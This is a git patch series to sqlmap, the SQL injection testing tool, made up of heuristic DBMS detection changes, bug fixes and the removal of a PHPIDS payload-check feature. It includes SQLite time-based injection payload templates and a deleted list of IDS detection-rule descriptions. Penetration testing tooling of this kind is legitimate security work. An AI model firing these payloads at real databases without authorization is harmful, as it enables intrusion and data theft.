From 2420a4b626e80ea115c5f8b8dc7bf4877fb1e6e8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Jan 2013 10:01:52 +0100 Subject: [PATCH 01/12] Update for an Issue #342 and #372 --- lib/core/agent.py | 10 ++-------- lib/request/inject.py | 8 ++++++++ 2 files changed, 10 insertions(+), 8 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index fe7bc335c..9cd727eca 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -888,23 +888,17 @@ class Agent(object): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) - selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) - if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)): + if any((selectTopExpr, selectFromExpr, selectExpr)): query = fieldsStr else: query = expression - if selectDistinctExpr: - lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - lengthExpr += " AS %s" % randomStr(lowercase=True) - elif select: + if select: lengthExpr = expression.replace(query, lengthQuery % query, 1) else: lengthExpr = lengthQuery % expression diff --git a/lib/request/inject.py b/lib/request/inject.py index 962e633da..944aaa40e 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -25,6 +25,7 @@ from lib.core.common import isTechniqueAvailable from lib.core.common import parseUnionPage from lib.core.common import popValue from lib.core.common import pushValue +from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.data import conf @@ -76,6 +77,13 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search("(COUNT|LTRIM)\(", expression, re.I) and not timeBasedCompare: + + if field and re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): + expression = "SELECT %s FROM (%s)" % (field, expression) + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + expression += " AS %s" % randomStr(lowercase=True) + if field and conf.hexConvert: nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) From 410f6ad47668ea3b96296c87acbb218d9b129f50 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Jan 2013 13:26:38 +0100 Subject: [PATCH 02/12] Fix for an Issue #380 --- xml/queries.xml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/xml/queries.xml b/xml/queries.xml index c330a35cb..f1931c56e 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -344,10 +344,10 @@ - - + + - + From f5844eabaee881c0334ac17b5387eef7d26c4011 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Jan 2013 13:32:14 +0100 Subject: [PATCH 03/12] Valuable data is potentially lost if page not parsed in dump mode (e.g. --technique=B and error occuring) <- partial revert of previous optimization commit 10bdd90e6032822bc7fa87996f99ed24ffd0fc8b --- lib/request/basic.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index e9130fe7b..f9e94857d 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -256,8 +256,7 @@ def decodePage(page, contentEncoding, contentType): def processResponse(page, responseHeaders): kb.processResponseCounter += 1 - if not kb.dumpTable: - parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None) + parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None) if conf.parseErrors: msg = extractErrorMessage(page) From cfcf8a3abbdc7a52104659066ad5529546d9f422 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Jan 2013 13:49:19 +0100 Subject: [PATCH 04/12] Another update for an Issue #380 (--common-... switches) --- lib/core/agent.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 9cd727eca..7f58ed48d 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -426,6 +426,10 @@ class Agent(object): fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I) fieldsNoSelect = query + _ = zeroDepthSearch(query, " FROM ") + if not _: + fieldsSelectFrom = None + if fieldsSubstr: fieldsToCastStr = query elif fieldsMinMaxstr: @@ -441,7 +445,6 @@ class Agent(object): elif fieldsSelectCase: fieldsToCastStr = fieldsSelectCase.groups()[0] elif fieldsSelectFrom: - _ = zeroDepthSearch(query, " FROM ") fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr) elif fieldsSelect: From d6606a8f3120315b70c06699e5de5ae6fa93ce92 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Jan 2013 13:58:39 +0100 Subject: [PATCH 05/12] Patch to prevent problems like Issue #381 --- lib/core/option.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index 798b82cfe..afeb1b0ea 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -324,6 +324,10 @@ def _feedTargetsDict(reqFile, addedTargetUrls): scheme = "https" port = port or "443" + if not host: + errMsg = "invalid format of a request file" + raise SqlmapSyntaxException, errMsg + if not url.startswith("http"): url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) scheme = None From 8d51b4b63a670bcc7649c1dde375e67498a11820 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Jan 2013 16:24:44 +0100 Subject: [PATCH 06/12] Minor bug fix --- lib/core/common.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index 5ccfaaff0..8d08b9561 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1376,6 +1376,8 @@ def safeStringFormat(format_, params): if isinstance(params, basestring): retVal = retVal.replace("%s", params) + elif not isListLike(params): + retVal = retVal.replace("%s", str(params)) else: count, index = 0, 0 while index != -1: From 81d4f9f7d14505eda3c13f3d18c3cc19ea1e39c2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Jan 2013 16:41:23 +0100 Subject: [PATCH 07/12] Bug fix for last regression test (--search related) --- plugins/generic/search.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 5b21f4420..ece3f8e05 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -534,8 +534,13 @@ class Search: for index in indexRange: query = rootQuery.blind.query2 - query = query % db - query += " AND %s" % colQuery + + if query.endswith("'%s')"): + query = query[:-1] + " AND %s)" % colQuery + else: + query += " AND %s" % colQuery + + query = safeStringFormat(query, db) query += whereTblsQuery query = agent.limitQuery(index, query) From 68e507ea9f00bd4923f6b356d520ffebe64a2438 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 31 Jan 2013 18:59:18 +0100 Subject: [PATCH 08/12] Update for an SQLite3 time-based (heavy query) payloads (better timedelay) --- xml/payloads.xml | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index 8f6652061..86753530d 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -2231,9 +2231,9 @@ Formats: 2 0 1 - ; SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END) + ; SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) - ; SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000)))) + ; SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) -- @@ -2580,9 +2580,9 @@ Formats: 2 1 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) - AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000)))) + AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) @@ -2600,9 +2600,9 @@ Formats: 2 1 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) - AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000)))) + AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) -- @@ -2881,9 +2881,9 @@ Formats: 3 1 2 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) - OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000)))) + OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) @@ -3178,9 +3178,9 @@ Formats: 2 1,2,3 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)) - (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) + (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) From 6d942f92b5493586fe47792844c594e9a1db2c63 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Feb 2013 10:03:06 +0100 Subject: [PATCH 09/12] Removing --check-payload (PHPIDS doesn't update rules lately; also, WAF/IDS/IPS is more than just regexes (unencoding, removing junk, etc.)) --- lib/core/common.py | 1 - lib/core/dicts.py | 1 + lib/core/optiondict.py | 1 - lib/parse/cmdline.py | 4 --- lib/request/connect.py | 4 --- lib/utils/checkpayload.py | 56 --------------------------------------- 6 files changed, 1 insertion(+), 66 deletions(-) delete mode 100644 lib/utils/checkpayload.py diff --git a/lib/core/common.py b/lib/core/common.py index 8d08b9561..1607f87d8 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -974,7 +974,6 @@ def setPaths(): paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.zip") - paths.PHPIDS_RULES_XML = os.path.join(paths.SQLMAP_XML_PATH, "phpids_rules.xml") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") paths.PAYLOADS_XML = os.path.join(paths.SQLMAP_XML_PATH, "payloads.xml") paths.INJECTIONS_XML = os.path.join(paths.SQLMAP_XML_PATH, "injections.xml") diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 4901d016e..4703a858f 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -205,6 +205,7 @@ POST_HINT_CONTENT_TYPES = { DEPRECATED_OPTIONS = { "--replicate": "use '--dump-format=SQLITE' instead", "--no-unescape": "use '--no-escape' instead", + "--check-payload": None, } DUMP_DATA_PREPROCESS = { diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index d20291769..288fff948 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -195,7 +195,6 @@ optDict = { "alert": "string", "answers": "string", "beep": "boolean", - "checkPayload": "boolean", "checkWaf": "boolean", "cleanup": "boolean", "dependencies": "boolean", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 2cabc112b..1e5879b90 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -612,10 +612,6 @@ def cmdLineParser(): miscellaneous.add_option("--beep", dest="beep", action="store_true", help="Make a beep sound when SQL injection is found") - miscellaneous.add_option("--check-payload", dest="checkPayload", - action="store_true", - help="Offline WAF/IPS/IDS payload detection testing") - miscellaneous.add_option("--check-waf", dest="checkWaf", action="store_true", help="Check for existence of WAF/IPS/IDS protection") diff --git a/lib/request/connect.py b/lib/request/connect.py index 65a542b2d..62b1cffa6 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -79,7 +79,6 @@ from lib.request.basic import processResponse from lib.request.direct import direct from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest -from lib.utils.checkpayload import checkPayload from thirdparty.socks.socks import ProxyError from thirdparty.multipart import multipartpost @@ -658,9 +657,6 @@ class Connect(object): if place: value = agent.removePayloadDelimiters(value) - if conf.checkPayload: - checkPayload(value) - if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value diff --git a/lib/utils/checkpayload.py b/lib/utils/checkpayload.py deleted file mode 100644 index 84410f8a5..000000000 --- a/lib/utils/checkpayload.py +++ /dev/null @@ -1,56 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.common import readXmlFile -from lib.core.common import urldecode -from lib.core.data import paths -from lib.core.data import logger - -rules = None - -def _adjustGrammar(string): - string = re.sub('\ADetects', 'Detected', string) - string = re.sub('\Afinds', 'Found', string) - string = re.sub('attempts\Z', 'attempt', string) - string = re.sub('injections\Z', 'injection', string) - string = re.sub('attacks\Z', 'attack', string) - - return string - -def checkPayload(payload): - """ - This method checks if the generated payload is detectable by the - PHPIDS filter rules - """ - - if not payload: - return - - global rules - - detected = False - payload = urldecode(payload, convall=True) - - if not rules: - xmlrules = readXmlFile(paths.PHPIDS_RULES_XML) - rules = [] - - for xmlrule in xmlrules.getElementsByTagName("filter"): - rule = "(?i)%s" % xmlrule.getElementsByTagName('rule')[0].childNodes[0].nodeValue - desc = _adjustGrammar(xmlrule.getElementsByTagName('description')[0].childNodes[0].nodeValue) - rules.append((rule, desc)) - - if payload: - for rule, desc in rules: - if re.search(rule, payload): - detected = True - logger.warn("highly probable IDS/IPS detection: '%s: %s'" % (desc, payload)) - - if not detected: - logger.warn("payload '%s' possibly gone undetected" % payload) From 993372aae43f0a9ad6d202d4619b586666c9db6d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Feb 2013 11:24:17 +0100 Subject: [PATCH 10/12] Bug fix (causing search problems) --- lib/controller/checks.py | 36 ++++++++++++++++++++---------------- 1 file changed, 20 insertions(+), 16 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index e66a80a28..4410aab49 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -444,10 +444,7 @@ def checkSqlInjection(place, parameter, value): configUnion(test.request.char, test.request.columns) if not Backend.getIdentifiedDbms(): - if not kb.heuristicDbms: - kb.heuristicDbms = heuristicCheckDbms(injection) or UNKNOWN_DBMS - - if kb.heuristicDbms == UNKNOWN_DBMS: + if kb.heuristicDbms in (None, UNKNOWN_DBMS): warnMsg = "using unescaped version of the test " warnMsg += "because of zero knowledge of the " warnMsg += "back-end DBMS. You can try to " @@ -552,6 +549,14 @@ def checkSqlInjection(place, parameter, value): # Reset forced back-end DBMS value Backend.flushForcedDbms() + if len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + if not Backend.getIdentifiedDbms() and kb.heuristicDbms in (None, UNKNOWN_DBMS): + kb.heuristicDbms = heuristicCheckDbms(injection) or UNKNOWN_DBMS + + if Backend.getIdentifiedDbms() or kb.heuristicDbms not in (None, UNKNOWN_DBMS): + #do you want to extend <- one time question!!!!!!!!!! (mirek) + pass + except KeyboardInterrupt: warnMsg = "user aborted during detection phase" logger.warn(warnMsg) @@ -594,21 +599,20 @@ def checkSqlInjection(place, parameter, value): def heuristicCheckDbms(injection): retVal = None - if not Backend.getIdentifiedDbms() and len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: - pushValue(kb.injection) - kb.injection = injection - randStr1, randStr2 = randomStr(), randomStr() + pushValue(kb.injection) + kb.injection = injection + randStr1, randStr2 = randomStr(), randomStr() - for dbms in getPublicTypeMembers(DBMS, True): - Backend.forceDbms(dbms) + for dbms in getPublicTypeMembers(DBMS, True): + Backend.forceDbms(dbms) - if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): - if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): - retVal = dbms - break + if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): + if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): + retVal = dbms + break - Backend.flushForcedDbms() - kb.injection = popValue() + Backend.flushForcedDbms() + kb.injection = popValue() if retVal: infoMsg = "heuristic test showed that the back-end DBMS " From 231ea51fe69e0f6164a5418f4aee16935e93f25b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Feb 2013 17:10:40 +0100 Subject: [PATCH 11/12] Removing leftover --- xml/phpids_rules.xml | 199 ------------------------------------------- 1 file changed, 199 deletions(-) delete mode 100644 xml/phpids_rules.xml diff --git a/xml/phpids_rules.xml b/xml/phpids_rules.xml deleted file mode 100644 index fa3690fa0..000000000 --- a/xml/phpids_rules.xml +++ /dev/null @@ -1,199 +0,0 @@ - - - 40 - - Detects MySQL comments, conditions and ch(a)r injections - - sqli - id - lfi - - 6 - - - 41 - ~])]]> - Detects conditional SQL injection attempts - - sqli - id - lfi - - 6 - - - 42 - - Detects classic SQL injection probings 1/2 - - sqli - id - lfi - - 6 - - - 43 - %+-][\w-]+[^\w\s]+"[^,])]]> - Detects classic SQL injection probings 2/2 - - sqli - id - lfi - - 6 - - - 44 - =(),-]\s*[\d"])|(?:"\s*[^\w\s]?=\s*")|(?:"\W*[+=]+\W*")|(?:"\s*[!=|][\d\s!=+-]+.*["(].*$)|(?:"\s*[!=|][\d\s!=]+.*\d+$)|(?:"\s*like\W+[\w"(])|(?:\sis\s*0\W)|(?:where\s[\s\w\.,-]+\s=)|(?:"[<>~]+")]]> - Detects basic SQL authentication bypass attempts 1/3 - - sqli - id - lfi - - 7 - - - 45 - - Detects basic SQL authentication bypass attempts 2/3 - - sqli - id - lfi - - 7 - - - 46 - ^=]+\d\s*(=|or))|(?:"\W+[\w+-]+\s*=\s*\d\W+")|(?:"\s*is\s*\d.+"?\w)|(?:"\|?[\w-]{3,}[^\w\s.,]+")|(?:"\s*is\s*[\d.]+\s*\W.*")]]> - Detects basic SQL authentication bypass attempts 3/3 - - sqli - id - lfi - - 7 - - - 47 - - Detects concatenated basic SQL injection and SQLLFI attempts - - sqli - id - lfi - - 5 - - - 48 - - Detects chained SQL injection attempts 1/2 - - sqli - id - - 6 - - - 49 - - Detects chained SQL injection attempts 2/2 - - sqli - id - - 6 - - - 50 - - Detects SQL benchmark and sleep injection attempts including conditional queries - - sqli - id - - 4 - - - 51 - - Detects MySQL UDF injection and other data/structure manipulation attempts - - sqli - id - - 6 - - - 52 - - Detects MySQL charset switch and MSSQL DoS attempts - - sqli - id - - 6 - - - 53 - - Detects MySQL and PostgreSQL stored procedure/function injections - - sqli - id - - 7 - - - 54 - - Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts - - sqli - id - - 5 - - - 55 - - Detects MSSQL code execution and information gathering attempts - - sqli - id - - 5 - - - 56 - - Detects MATCH AGAINST, MERGE, EXECUTE IMMEDIATE and HAVING injections - - sqli - id - - 5 - - - 57 - - Detects MySQL comment-/space-obfuscated injections - - sqli - id - - 5 - - - 70 - - finds basic MongoDB SQL injection attempts - - sqli - - 4 - - From e7b93b5b667f8f5d3252ca7e1f8098270a4263a4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Feb 2013 17:24:04 +0100 Subject: [PATCH 12/12] Implementation for an Issue #363 --- lib/controller/checks.py | 71 ++++++++++++++++++++-------------------- lib/core/option.py | 17 +++++----- lib/core/settings.py | 2 +- 3 files changed, 46 insertions(+), 44 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 4410aab49..057f66ea7 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -85,6 +85,24 @@ def checkSqlInjection(place, parameter, value): if kb.endDetection: break + if conf.dbms is None: + if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + if not Backend.getIdentifiedDbms() and not kb.heuristicDbms: + kb.heuristicDbms = heuristicCheckDbms(injection) or UNKNOWN_DBMS + + if not conf.testFilter and (Backend.getErrorParsedDBMSes() or kb.heuristicDbms) not in ([], None, UNKNOWN_DBMS): + if kb.reduceTests is None and Backend.getErrorParsedDBMSes(): + msg = "heuristic (parsing) test showed that the " + msg += "back-end DBMS could be '%s'. " % (Format.getErrorParsedDBMSes() if Backend.getErrorParsedDBMSes() else kb.heuristicDbms) + msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" + kb.reduceTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) + + if kb.extendTests is None: + _ = (Format.getErrorParsedDBMSes() if Backend.getErrorParsedDBMSes() else kb.heuristicDbms) + msg = "do you want to include all tests for '%s' " % _ + msg += "ignoring provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) + kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) + title = test.title stype = test.stype clause = test.clause @@ -143,15 +161,24 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue + + # Skip DBMS-specific test if it does not match either the + # previously identified or the user's provided DBMS (either + # from program switch or from parsed error message(s)) + if "details" in test and "dbms" in test.details: + dbms = test.details.dbms + else: + dbms = None + # Skip tests if title is not included by the given filter if conf.testFilter: - if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector,\ - test.details.dbms if "details" in test and "dbms" in test.details else "")): + if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, dbms)): debugMsg = "skipping test '%s' because " % title debugMsg += "its name/vector/dbms is not included by the given filter" logger.debug(debugMsg) continue - else: + + if not (kb.extendTests and intersect(dbms, kb.extendTests)): # Skip test if the risk is higher than the provided (or default) # value # Parse test's @@ -170,14 +197,6 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue - # Skip DBMS-specific test if it does not match either the - # previously identified or the user's provided DBMS (either - # from program switch or from parsed error message(s)) - if "details" in test and "dbms" in test.details: - dbms = test.details.dbms - else: - dbms = None - if dbms is not None: if injection.dbms is not None and not intersect(injection.dbms, dbms): debugMsg = "skipping test '%s' because " % title @@ -192,17 +211,7 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue - if conf.dbms is None and len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(dbms, Backend.getErrorParsedDBMSes()) and kb.skipOthersDbms is None: - msg = "parsed error message(s) showed that the " - msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes() - msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" - - if readInput(msg, default="Y") in ("y", "Y"): - kb.skipOthersDbms = Backend.getErrorParsedDBMSes() - else: - kb.skipOthersDbms = [] - - if kb.skipOthersDbms and not intersect(dbms, kb.skipOthersDbms): + if kb.reduceTests and not intersect(dbms, kb.reduceTests): debugMsg = "skipping test '%s' because " % title debugMsg += "the parsed error message(s) showed " debugMsg += "that the back-end DBMS could be " @@ -549,20 +558,12 @@ def checkSqlInjection(place, parameter, value): # Reset forced back-end DBMS value Backend.flushForcedDbms() - if len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: - if not Backend.getIdentifiedDbms() and kb.heuristicDbms in (None, UNKNOWN_DBMS): - kb.heuristicDbms = heuristicCheckDbms(injection) or UNKNOWN_DBMS - - if Backend.getIdentifiedDbms() or kb.heuristicDbms not in (None, UNKNOWN_DBMS): - #do you want to extend <- one time question!!!!!!!!!! (mirek) - pass - except KeyboardInterrupt: warnMsg = "user aborted during detection phase" logger.warn(warnMsg) - message = "How do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(q)uit]" - choice = readInput(message, default="S", checkBatch=False) + msg = "How do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(q)uit]" + choice = readInput(msg, default="S", checkBatch=False) if choice[0] in ("s", "S"): pass @@ -615,7 +616,7 @@ def heuristicCheckDbms(injection): kb.injection = popValue() if retVal: - infoMsg = "heuristic test showed that the back-end DBMS " + infoMsg = "heuristic (extended) test shows that the back-end DBMS " # not as important as "parsing" counter-part (because of false-positives) infoMsg += "could be '%s' " % retVal logger.info(infoMsg) @@ -729,7 +730,7 @@ def heuristicCheckSqlInjection(place, parameter): parseFilePaths(page) result = wasLastResponseDBMSError() - infoMsg = "heuristic test shows that %s " % place + infoMsg = "heuristic (parsing) test shows that %s " % place infoMsg += "parameter '%s' might " % parameter def _(page): @@ -762,7 +763,7 @@ def heuristicCheckSqlInjection(place, parameter): kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N').upper() != 'N' elif result: - infoMsg += "be injectable (possible DBMS: %s)" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS) + infoMsg += "be injectable (possible DBMS: '%s')" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS) logger.info(infoMsg) else: diff --git a/lib/core/option.py b/lib/core/option.py index afeb1b0ea..9eb8f15b3 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1525,6 +1525,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.dynamicParameter = False kb.endDetection = False kb.explicitSettings = set() + kb.extendTests = None kb.errorIsNone = True kb.fileReadMode = False kb.forcedDbms = None @@ -1552,12 +1553,6 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.multiThreadMode = False kb.negativeLogic = False kb.nullConnection = None - kb.pageCompress = True - kb.pageTemplate = None - kb.pageTemplates = dict() - kb.postHint = None - kb.previousMethod = None - kb.processUserMarks = None kb.orderByColumns = None kb.originalCode = None kb.originalPage = None @@ -1570,12 +1565,19 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.osVersion = None kb.osSP = None + kb.pageCompress = True + kb.pageTemplate = None + kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None kb.partRun = None kb.permissionFlag = False + kb.postHint = None + kb.postSpaceToPlus = False kb.prependFlag = False kb.processResponseCounter = 0 + kb.previousMethod = None + kb.processUserMarks = None kb.proxyAuthHeader = None kb.queryCounter = 0 kb.redirectChoice = None @@ -1588,8 +1590,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.resumeValues = True kb.safeCharEncode = False kb.singleLogFlags = set() - kb.skipOthersDbms = None - kb.postSpaceToPlus = False + kb.reduceTests = None kb.stickyDBMS = False kb.stickyLevel = None kb.suppressResumeInfo = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 05bfbbadf..50d410ba3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -466,7 +466,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100 CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "heuristic test showed") +BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "wwwroot", "www")